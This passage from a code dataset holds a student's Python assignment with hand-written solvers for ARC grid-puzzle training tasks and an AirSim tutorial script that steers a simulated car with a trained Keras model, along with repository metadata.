"code/chapters/06-raster-vector.py", "max_forks_repo_name": "anitagraser/py", "max_forks_repo_head_hexsha": "84f4102b96380a3acbe533ed4820427676ba226e", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-02-17T08:24:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-17T08:24:23.000Z", "avg_line_length": 38.9255319149, "max_line_length": 560, "alphanum_fraction": 0.7506149221, "include": true, "reason": "import numpy", "num_tokens": 1778, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12421302132013365, "lm_q1q2_score": 0.062106510660066824}}
{"text": "#!/usr/bin/python\n\n''' \nThis is assignment 3, group submission by : \n    Student Name : Ravi Mishra Student ID: 21249928\n    Student Name : Prasad Deshpande Student ID: 21249530 \n    \n    Link to Github Repository : https://github.com/ravi3990/ARC.git\n    \n    \n\n'''\n\n\nimport os, sys\nimport json\nimport numpy as np\nimport re\nimport math\n\n### YOUR CODE HERE: write at least three functions which solve\n### specific tasks by transforming the input x and returning the\n### result. Name them according to the task ID as in the three\n### examples below. Delete the three examples. The tasks you choose\n### must be in the data/training directory, not data/evaluation.\n\n'''\nsolve_d4a91cb9: \n\nDifficulty Level according to us : Easy to Medium\n\nLogic :\n\nThe basic logic for solving this problem through the naked eye and to a layman \nperson would be get the coordinates of the two colours ie sky blue and red.The \nvalues for these in our list is 2 and 8.And then connect the 2 points throug \nit's row and column by two lines of yellows till it intersects.\n\nWe used the numpy where function to find the coordinates of these points.The main \nproblem in solving this issue was to find out in what direction the line has to be plotted.\nFor this we used the if else to determine if blue has higher column value or red.\nBased on that we update the corresponding values in the given row and column to 4.\n\nBasic python and numpy used.Was able to solve all inputs and outputs in the json \nfile successfully.\n\n    \n'''\n\ndef solve_d4a91cb9(x):\n    #Changing to Numpy array in case the input is a list\n    b=np.array(x)\n   #Getting the position of 8 and 2 in the array    \n    eight_pos=np.where(b==8)[0][0],np.where(b==8)[1][0]\n    two_pos=np.where(b==2)[0][0],np.where(b==2)[1][0]\n    #Changing the column values to 4 \n    if eight_pos[0]<two_pos[0]:\n        for i in range (eight_pos[0]+1,two_pos[0]+1):\n            b[i][eight_pos[1]]=4\n    elif eight_pos[0]>two_pos[0]:\n        for i in range (two_pos[0],eight_pos[0]):\n            b[i][eight_pos[1]]=4\n    \n    #Changing the row  values to 4\n    if eight_pos[1]<two_pos[1]:\n        for i in range (eight_pos[1]+1,two_pos[1]):\n            b[two_pos[0]][i]=4\n    elif eight_pos[1]>two_pos[1]:\n        for i in range (two_pos[1]+1,eight_pos[1]+1):\n            b[two_pos[0]][i]=4\n    return b\n\n'''\nsolve_f5b8619d: \n\nDifficulty Level according to us : Easy\n\nLogic :\n\nOn a first look it looked a little difficult to us.However we could quickly understand \nthat it is a mirror effect after some basic changes to the inital array.\nIn the initial array we have to identify the columns where the value is non zero.\nWe have to change the value of all the rows for that column without touching the original \nvalues to 8.Once it is completed we have to mirror the array along the horizontal \naxis once and then the vertical axis once.This can be done interchangeably as well.\n\nBasic python and numpy has been used.\n\nAll the test inputs and outputs were successfully validated and passed.\n    \n'''\n\n\ndef solve_f5b8619d(x):\n    new_arr=np.array(x)\n    #Getting the columns where the value is non zero and changing rest of the column values to 8\n    for mn in np.where(new_arr!=0)[1]:\n        for i in range(new_arr.shape[1]):\n            if new_arr[i][mn]==0:\n                new_arr[i][mn]=8\n     #Mirroring the array horizontally and vertically           \n    new_arr=np.concatenate((new_arr,new_arr),axis=0)\n    new_arr=np.concatenate((new_arr,new_arr),axis=1)\n    return new_arr\n\n'''\nsolve_0a938d79: \n    \nDifficulty Level according to us : Easy \n\nWe found Task 0a938d79 simple to understand and implement. Looking at task demonstration \nwe can see alternate coloured line pattern repeats until end of array. If number of rows are \nmore than the columns then line patterns are repeated until last row. If the number of \ncolumns are more than the rows then the line patterns are repeated until end of last column. \nCount for intermediate black rows are dependent on number of columns/rows between given \ntwo colour cells. \n\nSolver function checked shape of array, colours of non-black locations and loop through\nthe rows/columns until max number of rows/columns reached. Coloured locations/cells are\nused as reference to paint the location to create the line in X or Y axis and new array\nreturn after transformation. \n\nAll training and test grids solved correctly. \n    \n'''\n\ndef solve_0a938d79(x):\n    '''empty list to collect coloured cells'''\n    non_zero = []\n    \n    ''' copy input array'''\n    new_arr=np.array(x)\n    \n    ''' get number of rows are colums with shape'''\n    num_rows, num_cols = new_arr.shape \n    \n    '''find the non-zero coordinates '''\n    non_zero = np.nonzero(new_arr)\n    \n    '''find the colour at non-zero coordinates '''\n    colour_1 = new_arr[non_zero[0][0], non_zero[1][0]]\n    colour_2 = new_arr[non_zero[0][1], non_zero[1][1]]\n\n    '''if number of columns are greater than rows then patterns need to be \n    formed in x-axis else in y-axis'''\n        \n    if(num_cols > num_rows):\n        black_mid_segments = abs(non_zero[1][1] - non_zero[1][0]) \n        while((non_zero[1][0] or non_zero[1][1]) < num_cols):\n            '''fill the colour at non-zero column''' \n            for i in range(num_rows):\n                if(non_zero[1][0] < num_cols):\n                    new_arr[i,non_zero[1][0]] = colour_1\n                if(non_zero[1][1] < num_cols):\n                    new_arr[i,non_zero[1][1]] = colour_2     \n            '''increment coloumn index based number of empty col. in pattern'''\n            non_zero[1][0] += (black_mid_segments*2)\n            non_zero[1][1] += (black_mid_segments*2)\n    else:\n        black_mid_segments = abs(non_zero[0][0] - non_zero[0][1]) \n        while((non_zero[0][0] or non_zero[0][1]) < num_rows):\n            '''fill the colour at non-zero rows''' \n            for i in range(num_cols):\n                if(non_zero[0][0] < num_rows):\n                    new_arr[non_zero[0][0], i] = colour_1\n                if(non_zero[0][1] < num_rows):\n                    new_arr[non_zero[0][1], i] = colour_2     \n            '''increment row index based number of empty col. in pattern'''\n            non_zero[0][0] += (black_mid_segments*2)\n            non_zero[0][1] += (black_mid_segments*2)\n    \n    ''' return the modified array''' \n    return new_arr\n\n'''\nsolve_1a07d186(x)\n\nDifficulty Level according to us : Medium to difficult \n\nWe found Task 1a07d186 medium to be difficult. On the first look, task seems easy \ni.e. just moving the coloured cells adjacent to respective lines. But it is also important to \nidentify line as object, move coloured cells in right direction and to remove other \ncoloured cells which doesn\u2019t have coloured line present. The same logic then needs to be \ndefined for vertical and horizontal lines (single/multiple).\n\nWe decided to implement the solver function with basic logic and with less use of \nlibrary APIs. Numpy is used only where necessary, so the code looks big. It identified \ncolour in array and marked the coordinates. Then identified the line object with traversing \nin X/Y axis from edge to edge to confirm the line position. Once all these information \nis available, then look for nearest line coordinate for coloured cell and paint next \nlocation in same row/column. The original colour location is then overwritten with black. \nIn case of cells with colours other than line colour, the location is overwritten with black.  \n\nAll training and test grids solved correctly. \n\n'''\n\ndef solve_1a07d186(x):\n    \n    ''' copy input array'''\n    new_arr=np.array(x)\n    \n    ''' get number of rows are colums with shape'''\n    num_rows, num_cols = new_arr.shape \n    \n    '''find the non-zero coordinates '''\n    non_zero = np.nonzero(new_arr)\n\n    ''' index for checking all coordinates around the colour'''\n    Dy = [0, -1, 0, 1]\n    Dx = [1, 0, -1, 0]\n    \n    ''' empty lists to log if Hlines or Vlines found in image'''\n    H_line = []\n    V_line = []\n    \n   \n    ''' loop to check colour around all identified colour co-ordinates '''\n    for x, y  in zip(non_zero[0],non_zero[1]):\n        colour = new_arr[x][y]\n        \n        for dy, dx in zip(Dy, Dx):\n            ''' if same colour found then move either x or y axis to find if it is a line'''\n            x_, y_ = x+dx, y+dy\n            \n            ''' loop through number of cols or rows to find lines and log into list '''\n            if(x_ < num_rows and y_ < num_cols):\n                if(colour == new_arr[x_][y_]):\n                    if(abs(x_ - x)):\n                        #vertical line \n                        for k in range(num_rows):\n                            if(colour == new_arr[k][y]):\n                                V_line.append(y) \n                                v_line_flag = True\n                \n                    if (abs(y_-y)):\n                        #horizontal line \n                        for k in range(num_cols):\n                            if(colour == new_arr[x][k]):\n                                H_line.append(x)\n                                v_line_flag = False\n    \n    ''' consider only unique items to give exact number of lines and their one \n    coordinates location. Other location can be assumed zero as it is a line'''  \n    H_line = np.unique(H_line)\n    V_line = np.unique(V_line)\n    \n    ''' loop through all coloured cellls to either associate with line or if \n    not then make it zero'''\n    for x, y  in zip(non_zero[0],non_zero[1]):\n        if(v_line_flag == True):\n            ''' if y is not in Vline then proceed '''\n            if(y not in V_line):\n                colour_flag = False    \n                colour = new_arr[x][y]\n                \n                for i in V_line:\n                    if(colour == new_arr[0, i]):\n                        if(i < y):\n                            new_arr[x,i+1] = colour\n                        else:\n                            new_arr[x,i-1] = colour\n                        \n                        new_arr[x][y] = 0\n                        colour_flag = True\n                ''' if colour cell is not associated with line colour then \n                make it zero '''        \n                if(colour_flag == False ): \n                    new_arr[x][y] = 0\n            \n            \n        if(v_line_flag == False):\n            '''if x is not in Hline then proceed '''\n            if(x not in H_line):\n                colour_flag = False    \n                colour = new_arr[x][y]\n    \n                for i in H_line:\n                    if(colour == new_arr[i, 0]):\n                        if(i < x):\n                            new_arr[i+1, y] = colour\n                        else:\n                            new_arr[i-1, y] = colour\n                        \n                        new_arr[x][y] = 0\n                        colour_flag = True    \n                ''' if colour cell is not associated with line colour then \n                make it zero '''        \n                if(colour_flag == False ): \n                    new_arr[x][y] = 0\n                        \n               \n                    \n    ''' return the modified array''' \n    return new_arr\n\n'''\ndef solve_00d62c1b(x)\n\nDifficulty Level according to us : Medium to difficult \n\nWe found task 00d62c1b medium to be difficult. The challenge was in finding the enclosed \nshape to fill the space with yellow colour. The logic which is applied here is same \nas previous task 1a07d186, instead of lines, here is to identify the space enclosed \nwith green colour. \n\nSame logic of x, y location +/-1 for checking all coordinates around the coloured \ncell used. Code optimized with the use of list as queue and multiple conditions in loops. \n\u2018Searched\u2019 array created with padding of rows and columns. Based on search the true/False \nmarked and resultant used for filling yellow colour. \nThe in-line comments give more details of logic. \n\nAll training and test grids solved correctly.\n\n'''\n\ndef solve_00d62c1b(x):\n    \n    ''' copy input array'''\n    new_arr=np.array(x)\n    \n    ''' get number of rows are colums with shape'''\n    num_rows, num_cols = new_arr.shape \n \n    green = 3 \n    yellow = 4\n    \n    ''' index for checking all coordinates around the colour'''\n    Dy = [0, -1, 0, 1]\n    Dx = [1, 0, -1, 0]\n    \n    '''\n    https://numpy.org/doc/stable/reference/generated/numpy.pad.html\n    \n    ((1,1),(1,1)) -Number of values padded to the edges of each axis. ((before_1, after_1)\n    pads with 'Constant' value of zero [False]                                                               \n    \n    '''\n    \n    arr_padded = np.pad(new_arr, ((1,1),(1,1)), \"constant\", constant_values=0)\n    \n    ''' \n    input array padded on x and y axis at the edge i.e. num_col and num_rows \n    increased by 2 and created searched array with default False in each element''' \n    search_empty_sq = np.zeros(arr_padded.shape, dtype=bool)\n    search_empty_sq[0, 0] = True\n    \n    queue = [(0, 0)]\n    while queue:\n        ''' take each element/cell from matrix'''\n        j, i = queue.pop()\n        \n        ''' loop for near by coordinates in x, y axis '''\n        for dy, dx in zip(Dy, Dx):\n            y_, x_ = j+dy, i+dx\n            \n            if not 0 <= y_ < num_rows+2 or not 0 <= x_ < num_cols+2:\n                ''' skip the next logic for edge elements/cells'''\n                continue\n            ''' in case of identical elements change value at searched to True \n                else maintain the value at False. False indicates yellow colour \n                to add \n            '''\n            if not search_empty_sq[y_][x_] and arr_padded[y_][x_]==0:\n                '''add to queue for next operation '''\n                queue.append((y_, x_))\n                search_empty_sq[y_, x_] = True\n    \n    '''remove the padding'''\n    res = search_empty_sq[1:-1, 1:-1]\n    \n    ''' check the green and keep it as it is'''\n    res |= new_arr==green\n    \n    ''' invert the searched results and fill true with yellow '''\n    new_arr[~res] = yellow \n   \n    ''' return the modified array''' \n    return new_arr\n\n'''\ndef solve_d0f5fe59(x)\n\nDifficulty level according to us : Medium\n\nLogic:\nThe idea behind solving this problem was to get the number of islands within a \nparticular array.This was done through a depth first search.Once a particulat \nisland is visited it is not counted twice.For this we created an internal functions \ncalled dfs.\n\n\nAfter iterating through the entire array we found the number of islands.We then \ncreated a numpy zero array with the same dimensions as the number of islands.\nWe then update the diagonal of the array with the value 8.\n\nWe were able to succsfully validate and test all the inputs with their given outputs \nas in the json file.\n\n\n'''\n\ndef solve_d0f5fe59(x):\n    row=len(x)\n    col=len(x[0])\n    count=0\n   #Creating a function for Depth first search for finding the islands\n    def dfs(a,row,col,m,n):\n        if a[m][n]==0:\n            return\n        a[m][n]=0\n        \n        if m!=0:\n            dfs(a,row,col,m-1,n)\n    \n        if m!=row-1:\n            dfs(a,row,col,m+1,n)\n    \n        if n!=0:\n            dfs(a,row,col,m,n-1)    \n        if n!=col-1:\n            dfs(a,row,col,m,n+1) \n            #Iterating to count the number of islands   \n    for i in range(row):\n        for j in range(col):\n            if x[i][j]==8:\n                dfs(x,row,col,i,j)\n                count+=1\n     #Creating a zero numpy array with the same dimensions as the number of islands           \n    b=np.zeros((count, count), int)\n    #Filling the diagonal with the value 8\n    np.fill_diagonal(b,8)    \n\n    return b\n\n'''\ndef solve_4093f84a(x)\n\n\nDifficulty Level  according to us : Medium to Difficult\n\nLogic : \n4093f84a.json looked to be simple on the testing interface initially.Logically \nwe needed to find the rectangle with 5's and then determine whether it was a horizontal \none or a vertical one.After that close to the the rectangle  we had to fill the 5 in \nthe respective rows or columns.\n\nWe tried to have a simple approach of finding the bigger island with the rectangle first.\nAfter that we made all the other positions as zero.We noted the positions of the other \nvalues.And then added them to the rectangle in their respective rows and columns.\n\nThe given code use basic python and numpy functions.\nWhile testing this it passed for the test demonstration 1.However there was a \nslight difference in demosntraions 2 and 3 as there were multiple non 5 values in the \nsame row or column.This made it to not completely satisfy the outputs for 2 and 3 and test input grid.\n\nThe idea to solve this would be to get the positions ond the number of such colours \nin a particular row or column.Once we get the number we can add to the same side of \nthe rectangle the cells and this would result in the success of the function\n\n\n'''\n\n\ndef solve_4093f84a(x):\n    x=np.array(x)\n    #Getting positions where the value is non zero\n    mn=np.where(x!=0)\n    #Getting positions where the value is five\n    yz=np.where(x==5)\n    emp_lst=[]\n    #Adding to an empty list the positions of the non 5 and non zero values\n    for i in range(len(mn[0])):\n        if x[mn[0][i]][mn[1][i]]!=5:\n            emp_lst.append([mn[0][i],mn[1][i]])\n    #Making all the non island positions 0 before actioning\n    for m in emp_lst:\n        x[m[0],m[1]]=0\n    #Action to alter the value to 5 for the respective postions near to the island    \n    if np.amin(yz[1])==0:\n        for m in emp_lst:\n            if m[0]<np.amin(yz[0]):\n                x[np.amin(yz[0])-1][m[1]]=5\n            else :\n                x[np.amax(yz[0])+1][m[1]]=5\n    else :\n        for m in emp_lst:\n            if m[1]<np.amin(yz[1]):\n                x[m[0]][np.amin(yz[1])-1]=5\n            else :\n                x[m[0]][np.amax(yz[1])+1]=5\n    return x\n\n\n'''\ndef solve_5ad4f10b(x)\n\nDifficulty Level according to us : Difficult\n\nLogic:\n\nFor solving 5ad4f10b.json we tried to look at various ways for coming up.It seemed \na little difficult.The main challenge was to find the area for the section which was \nto be contracted and then the values updated with the other colour outliers.\n\nFollowing is the approach we followed for this section :\n\n1.Identify the n*n squares(start with 3) in the given array,their coordinates as \nwell and store their values in separate lists.\n2.Get the max and min values of the rows and column numbers for the areas containing squares.\n3.Create a new array with only the rows and columns which  was obtained from Step 2\n4.Clear any other colour values than 0 and the squares and convert it to 0.\n5.Get the other colour value from the original array and create a new array with the specific positions.\n\nWe have used basic numpy and math library to get this output.\n\nThe one limitation to this part of the code is that it is currently useful for \n3*3 squares only(Training Input and output 2 currently. We can use a similar version of \nthe same code by altering the for loops a little to make it working for 4*4 squares as well.\nDue to timing limitations we have not tried it. However we believe the logic would be near \nabout the same and would work for other training and test grids as well with slight modifications.\n'''\n\ndef solve_5ad4f10b(x):\n    a=np.array(x)\n    row,colmn=a.shape[0],a.shape[1]\n    \n     #Code to get the 3*3 squares inside the array\n\n    emp_lst1=[]\n    range_lst1=[]\n    #comp=0\n    for i in range(row):\n        for j in range(colmn):\n            emp_lst=[]\n            range_lst=[]\n            comp=0\n            if i-1>0 and j-1>0 and i+1<row and j+1<colmn:\n                for m in range(i-1,i+2):\n                    for n in range(j-1,j+2):\n                        emp_lst.append(a[m][n])\n                        range_lst.append ((m,n))\n                       \n            if len(emp_lst)>0 and emp_lst[0]!=0:\n                comp=1\n                #print (emp_lst )\n                for mn in emp_lst:\n                    if emp_lst[0]!=mn:\n                        comp+=1 \n            #print(comp)\n            if comp==1 and len(emp_lst)>0:\n                #print(emp_lst)\n                #print(range_lst)\n                emp_lst1.append(emp_lst)\n                range_lst1.append(range_lst)\n                \n    #Getting the minimum and maximum section of the array to be cut            \n    \n    min_row=range_lst1[0][0][0]\n\n    for m in range_lst1:\n        for n in m:\n            if n[0]<min_row:\n                min_row=n[0]\n \n    min_col=range_lst1[0][0][1]\n\n    for m in range_lst1:\n        for n in m:\n            if n[1]<min_col:\n                min_col=n[1]\n    max_row=range_lst1[0][0][0]\n\n    for m in range_lst1:\n        for n in m:\n            if n[0]>max_row:\n                max_row=n[0]\n                \n    max_col=range_lst1[0][0][1]\n\n    for m in range_lst1:\n        for n in m:\n            if n[1]>max_col:\n                max_col=n[1]\n                \n    new_arr=a[min_row:max_row+1,min_col:max_col+1]\n    #Clear the array for any oher number which are outliers\n    new_row,new_col=new_arr.shape[0],new_arr.shape[1]\n    \n    for i in range(new_row):\n        for j in range(new_col):\n            if new_arr[i][j]!=emp_lst1[0][0]:\n                new_arr[i][j]=0\n\n    new_mod_arr=np.zeros((int(math.sqrt(new_row)),int(math.sqrt(new_col))))\n    row_alt,col_alt=new_mod_arr.shape[0],new_mod_arr.shape[1]\n    \n    #Getting the colour value which has to be updated\n    non_zero_val_loc=np.where(a!=0)\n    \n    for m in non_zero_val_loc[0]:\n        for n in non_zero_val_loc[1]:\n            if a[m][n]!=emp_lst1[0][0]:\n                val_to_update=a[m][n]\n    \n    #Updating the new modified array with the intended values\n    for i in range(0,new_row,3):\n        for j in range(0,new_col,3):\n            if new_arr[i][j]!=0:\n                new_i=int(i/3)\n                new_j=int(j/3)\n            #print (new_i,new_j)\n                new_mod_arr[new_i,new_j]=val_to_update\n    return new_mod_arr\n\n''' \n\nA short summary/reflection, commenting on the Python features and libraries you used in the solve * \n\nIn first semester of MSc. while learning and working on assignments we could see maturity \nof available ML packages which can trained on different kind of tasks e.g., NLP task for \nsuggestion mining or regression tasks for prediction of home prices etc. but while working \nwith ARC, we realized that we\u2019re still very far away from building a human like intelligence. \nAll the tasks (.JSON files) when looked in browser, one can identify the patterns in seconds \njust looking at few samples, but it is not easy for ML/programming to generalize this type \nof intelligence. We didn\u2019t find much help on generalised pattern recognition available, \nand ARC is an upcoming new topic in field of AI. We both found it is super interesting \nand addictive i.e., we initially though to just complete 3-4 patterns and submit the assignment \nbut end up coding 8-9 patterns!\n\nWe did not use any ML package or specific libraries but used Numpy and pure python to \ntranslate our understanding of patterns into code. We found that, in future there can \nbe few common functions/libraries be made to recognize the patterns e.g., find specific \nshape objects or enclosed spaces, highlight repetitive patterns, symmetry etc. or correlate \nthe colours in base image to transformed image. These functions in addition to math \nlibraries can be then basis for creating hypothesise in terms of hyper parameters or \nsupport functions. We still have limited understanding of this topic and acknowledge \nthat writing the code to solve all sorts of problems i.e., generalisation is not easy \ntask. \n\n\nCommonalities between the problems :\n\n->Pattern Recognition is very important.\n->Many problems include finding the position of enclosed areas and islands.\n->In many problems we had dimensionality reshaping as well as revaluation of the array.\n->Most of the problems can be solved via if else loops or basic libraray functions.\n  However as mentioned before  there is no one off solution to all problems\n\n\nGithub has been thoroughly used by us for core sharing and working as a team of 2.\nReadme file has been altered as well for reflecting the ARC understanding.\n\nAs mentioned by Fran\u00e7ois Chollet in his paper 'The Measure of Intelligence' the \nsolutions can be generalised only to a limited extent because of some of the limitations \nwhich we could see while solving our given problems.The major limitations were a \ngeneralisation of the problem and limited set of inputs and outputs for training \non the same problem. We could only test what was given to use.We are however aware \nthat there will be many variations in the given formations.\n\nNo doubt there are still many leaps to be taken by Arificial Intelligence!\n\n\n'''\n\n\ndef main():\n    # Find all the functions defined in this file whose names are\n    # like solve_abcd1234(), and run them.\n\n    # regex to match solve_* functions and extract task IDs\n    p = r\"solve_([a-f0-9]{8})\" \n    tasks_solvers = []\n    # globals() gives a dict containing all global names (variables\n    # and functions), as name: value pairs.\n    for name in globals(): \n        m = re.match(p, name)\n        if m:\n            # if the name fits the pattern eg solve_abcd1234\n            ID = m.group(1) # just the task ID\n            solve_fn = globals()[name] # the fn itself\n            tasks_solvers.append((ID, solve_fn))\n\n    for ID, solve_fn in tasks_solvers:\n        # for each task, read the data and call test()\n        directory = os.path.join(\"..\", \"data\", \"training\")\n        json_filename = os.path.join(directory, ID + \".json\")\n        data = read_ARC_JSON(json_filename)\n        test(ID, solve_fn, data)\n    \ndef read_ARC_JSON(filepath):\n    \"\"\"Given a filepath, read in the ARC task data which is in JSON\n    format. Extract the train/test input/output pairs of\n    grids. Convert each grid to np.array and return train_input,\n    train_output, test_input, test_output.\"\"\"\n    \n    # Open the JSON file and load it \n    data = json.load(open(filepath))\n\n    # Extract the train/test input/output grids. Each grid will be a\n    # list of lists of ints. We convert to Numpy.\n    train_input = [np.array(data['train'][i]['input']) for i in range(len(data['train']))]\n    train_output = [np.array(data['train'][i]['output']) for i in range(len(data['train']))]\n    test_input = [np.array(data['test'][i]['input']) for i in range(len(data['test']))]\n    test_output = [np.array(data['test'][i]['output']) for i in range(len(data['test']))]\n\n    return (train_input, train_output, test_input, test_output)\n\n\ndef test(taskID, solve, data):\n    \"\"\"Given a task ID, call the given solve() function on every\n    example in the task data.\"\"\"\n    print(taskID)\n    train_input, train_output, test_input, test_output = data\n    print(\"Training grids\")\n    for x, y in zip(train_input, train_output):\n        yhat = solve(x)\n        show_result(x, y, yhat)\n    print(\"Test grids\")\n    for x, y in zip(test_input, test_output):\n        yhat = solve(x)\n        show_result(x, y, yhat)\n\n        \ndef show_result(x, y, yhat):\n    print(\"Input\")\n    print(x)\n    print(\"Correct output\")\n    print(y)\n    print(\"Our output\")\n    print(yhat)\n    print(\"Correct?\")\n    if y.shape != yhat.shape:\n        print(f\"False. Incorrect shape: {y.shape} v {yhat.shape}\")\n    else:\n        print(np.all(y == yhat))\n\n\nif __name__ == \"__main__\": main()\n\n\n", "meta": {"hexsha": "0b7f5fcd749c08191b46a7f0332b1a7f4e607e21", "size": 27419, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/manual_solve.py", "max_stars_repo_name": "ravi3990/ARC", "max_stars_repo_head_hexsha": "589f21934efda158a093a2a548acdfddf296fe54", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-11-23T21:16:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-23T21:16:11.000Z", "max_issues_repo_path": "src/manual_solve.py", "max_issues_repo_name": "ravi3990/ARC", "max_issues_repo_head_hexsha": "589f21934efda158a093a2a548acdfddf296fe54", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/manual_solve.py", "max_forks_repo_name": "ravi3990/ARC", "max_forks_repo_head_hexsha": "589f21934efda158a093a2a548acdfddf296fe54", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.9528301887, "max_line_length": 109, "alphanum_fraction": 0.6275575331, "include": true, "reason": "import numpy", "num_tokens": 6629, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12421301321508335, "lm_q1q2_score": 0.062106506607541676}}
{"text": "\n# coding: utf-8\n\n# # Step 2 - Test The Model\n# \n# In this notebook, we will use the model that we trained in Step 1 to drive the car around in AirSim. We will make some observations about the performance of the model, and suggest some potential experiments to improve the model.\n# \n# First, let us import some libraries.\n\n# In[ ]:\n\n\nfrom keras.models import load_model\nimport sys\nimport numpy as np\nimport glob\nimport os\n\nif ('../../PythonClient/' not in sys.path):\n    sys.path.insert(0, '../../PythonClient/')\nfrom AirSimClient import *\n\n# << Set this to the path of the model >>\n# If None, then the model with the lowest validation loss from training will be used\nMODEL_PATH = None\n\nif (MODEL_PATH == None):\n    models = glob.glob('model/models/*.h5') \n    best_model = max(models, key=os.path.getctime)\n    MODEL_PATH = best_model\n    \nprint('Using model {0} for testing.'.format(MODEL_PATH))\n\n\n# Next, we'll load the model and connect to AirSim Simulator in the Landscape environment. Please ensure that the simulator is running in a different process *before* kicking this step off.\n\n# In[3]:\n\n\nmodel = load_model(MODEL_PATH)\n\nclient = CarClient()\nclient.confirmConnection()\nclient.enableApiControl(True)\ncar_controls = CarControls()\nprint('Connection established!')\n\n\n# We'll set the initial state of the car, as well as some buffers used to store the output from the model\n\n# In[4]:\n\n\ncar_controls.steering = 0\ncar_controls.throttle = 0\ncar_controls.brake = 0\n\nimage_buf = np.zeros((1, 59, 255, 3))\nstate_buf = np.zeros((1,4))\n\n\n# We'll define a helper function to read a RGB image from AirSim and prepare it for consumption by the model\n\n# In[5]:\n\n\ndef get_image():\n    image_response = client.simGetImages([ImageRequest(0, AirSimImageType.Scene, False, False)])[0]\n    image1d = np.fromstring(image_response.image_data_uint8, dtype=np.uint8)\n    image_rgba = image1d.reshape(image_response.height, image_response.width, 4)\n    \n    return image_rgba[76:135,0:255,0:3].astype(float)\n\n\n# Finally, a control block to run the car. Because our model doesn't predict speed, we will attempt to keep the car running at a constant 5 m/s. Running the block below will cause the model to drive the car!\n\n# In[ ]:\n\n\nwhile (True):\n    car_state = client.getCarState()\n    \n    if (car_state.speed < 5):\n        car_controls.throttle = 1.0\n    else:\n        car_controls.throttle = 0.0\n    \n    image_buf[0] = get_image()\n    state_buf[0] = np.array([car_controls.steering, car_controls.throttle, car_controls.brake, car_state.speed])\n    model_output = model.predict([image_buf, state_buf])\n    car_controls.steering = round(0.5 * float(model_output[0][0]), 2)\n    \n    print('Sending steering = {0}, throttle = {1}'.format(car_controls.steering, car_controls.throttle))\n    \n    client.setCarControls(car_controls)\n\n\n# ## Observations and Future Experiments\n# \n# We did it! The car is driving around nicely on the road, keeping to the right side for the most part, carefully navigating all the sharp turns and instances where it could potentially go off the road. However, you would immediately notice a few other things. Firstly, the motion of the car is not smooth, especially on those bridges. Also, if you let the model running for a while (a little more than 5 minutes), you will notice that the car eventually veers off the road randomly and crashes. But that is nothing to be disheartened by! Keep in mind that we have barely scratched the surface of the possibilities here. The fact that were able to have the car learn to drive around almost perfectly using a very small dataset is something to be proud of!\n# \n# > **Thought Exercise 2.1**:\n# As you might have noticed, the motion of the car is not very smooth on those bridges. Can you think of a reason why it is so? Can you use one of the techniques we described in Step 0 to fix this?\n# \n# > ** Thought Exercise 2.2**:\n# The car seems to crash when it tries to climb one of those hills. Can you think of a reason why? How can you fix this? (Hint: You might want to take a look at what the car is seeing when it is making that ascent)\n# \n# AirSim opens up a world of possibilities. There is no limit to the new things you can try as you train even more complex models and use other learning techniques. Here are a few immediate things you could try that might require modifying some of the code provided in this tutorial (including the helper files) but won't require modifying any Unreal assets.\n# \n# > ** Exploratory Idea 2.1**:\n# If you have a background in Machine Learning, you might have asked the question: why did we train and test in the same environment? Isn't that overfitting? Well, you can make arguments on both sides. While using the same environment for both training and testing might seem like you are overfitting to that environment, it can also be seen as drawing examples from the same probability distribution. The data used for training and testing is not the same, even though it is coming from the same distribution. So that brings us to the question: how will this model fare in a different environment, one it hasn't seen before? \n# This current model will probably not do very well, given that the other available environments are very different and contain elements that this model has never seen before (intersections, traffic, buildings etc.). But it would be unfair to ask this model to work well on those environments. Think of it like a human who has only ever driven in the mountains, never seen other cars or intersections in their entire life, is suddenly asked to drive in a city. How well do you think they will fare?\n# The opposite case should be interesting though. Does training on data collected from one of the city environments generalize easily to driving in the mountains? Try it yourself to find out.\n# \n# > ** Exploratory Idea 2.2**:\n# We formulated this problem as a regression problem - we are predicting a continuous valued variable. Instead, we could formulate the problem as a classification problem. More specifically, we could define buckets for the steering angles (..., -0.1, -0.05, 0, 0.05, 0.1, ...), bucketize the labels, and predict the correct bucket for each image. What happens if we make this change?\n# \n# > ** Exploratory Idea 2.3**:\n# The model currently views a single image and a single state for each prediction. However, we have access to historical data. Can we extend the model to make predictions using the previous N images and states (e.g. given the past 3 images and past 3 states, predict the next steering angle)? (Hint: This will possibly require you to use recurrent neural network techniques)\n# \n# > ** Exploratory Idea 2.4**:\n# AirSim is a lot more than the dataset we provided you. For starters, we only used one camera and used it only in RGB mode. AirSim lets you collect data in depth view, segmentation view, surface normal view etc for each of the cameras available. So you can potentially have 20 different images (for 5 cameras operating in all 4 modes) for each instance (we only used 1 image here). How can combining all this information help us improve the model we just trained?\n", "meta": {"hexsha": "c3a34f232f69b596ac07b2720cf9b06b7da5e073", "size": 7136, "ext": "py", "lang": "Python", "max_stars_repo_path": "AirSimE2EDeepLearning/TestModel.py", "max_stars_repo_name": "mckygit/AutonomousDriving", "max_stars_repo_head_hexsha": "adab34cd2afb1142e9db8207ef981e48d56be478", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "AirSimE2EDeepLearning/TestModel.py", "max_issues_repo_name": "mckygit/AutonomousDriving", "max_issues_repo_head_hexsha": "adab34cd2afb1142e9db8207ef981e48d56be478", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": 